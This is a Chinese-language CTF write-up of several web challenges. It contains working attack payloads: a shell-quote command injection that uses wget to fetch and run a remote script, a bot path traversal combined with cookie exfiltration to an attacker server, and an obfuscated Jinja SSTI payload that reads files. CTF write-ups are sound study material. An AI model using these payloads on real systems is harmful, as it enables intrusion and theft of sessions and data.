craftcms
一开始用网上现成的做法打imagick会无响应。后来lolita出了知道,原来是靶机打down一次,/tmp就会有残留的php*文件,imagick读取到别的文件就继续down。所以打失败一次就必须重启一次靶机。
打不通的时候想本地起一个环境的,但起环境太难给劝退了…..
Ave Mujica’s Masquerade
做几个web题,就做这个的时候聪明点,懂得本地多打多测,而不是干看代码。
shellQuote.quote的CVE原理在这:https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html
关键代码
if (url.includes(":")) { |
文章的payload不能直接打,因为题目会对payload分割处理,要多测才能测到正确的payload
文章的 `:`pwnme``:` |
执行命令的结果不能回显。命令不能带重定向符,不能带${IFS}和空格。队友测$IFS$9当做分隔符可以。
坏了,能执行命令但又不会了。看了眼dockerfile,有wget和curl,考虑下载文件然后执行。
看题目描述好像不出网?但自己测题目,给骗了,出网的。
Enhancement: no echoes, internal network.
然后执行:
:`:`wget$IFS$9111.111.111.1111:18999/a.sh``:` |
没权限直接执行./a.sh,sh$IFS$9a.sh就行。
所有的操作都在本地运行,打印所有执行结果,方便排错。本地上线后才去上线靶机。
easylatex
new URL
new URL("1", `http://${req.headers.host}/theme/`) |
bot visit 穿越
bot的visit存在穿越:
app.get('/share/:id', reportLimiter, async (req, res) => { |
访问: /share/..%2fpreview%3ftex=1%26theme=http%3a%2f%2f192.168.190.129:14444
即可穿越到/preview,带了参数tex和theme。
比赛时想到了会不会存在穿越,但是没测,直接当做不会了。
CSP
note.html设置了CSP。即使成为了vip,设置了theme为自己服务器上的js代码,令bot去访问也无法引用执行。
<meta http-equiv="Content-Security-Policy" |
preview.html没有设置CSP,可以执行js
base.js
当preview.html里的theme设置成自己的vps时,访问/preview,会访问vps/js/base.js
下面的是vps上放置的base.js文件
token是session,session保存的username是vps地址。bot访问base.js文件,执行该js代码,带上cookie访问/vip。此时的cookie有flag和session。随后/vip会获取到cookie,带上cookie访问username。
username指向的地址监听即可获取flag。
async function asd(){ |
story
得到随机种子
题目访问一次/captcha就会播一次种
self._key = (key or int(time.time())) + random.randint(1,100) |
这个种子挺好猜的。只要访问一次/captcha,然后快速执行下面的脚本,就能得到种子以及之后的captcha。所以就能知道访问vip时候的captcha。
def test(seed,code): |
摇3个相同的waf
下面选waf的代码,大致看了眼,从6个waf中选3个。第一反应要写6组合3也就是20种payload,针对每3种waf用不同的payload。仔细看了后发现任意3个组合到一起都不可能过,就歇逼睡觉去了。
起床后发现lolita说绕一种就行,我再细看代码,想到摇到3个相同waf就行。第一反应,我靠,这怎么可能,然后本地运行试试,发现摇到3个相同的概率还挺大的…..
靠,又是只看代码不测,我是sb。
import random |
本地打,不到3分钟就摇到了。
story = "{{lipsum['_''_glo''bals_''_']['_''_builtins_''_']['_''_impo''rt_''_']('os').popen('cat f*').read()}}" |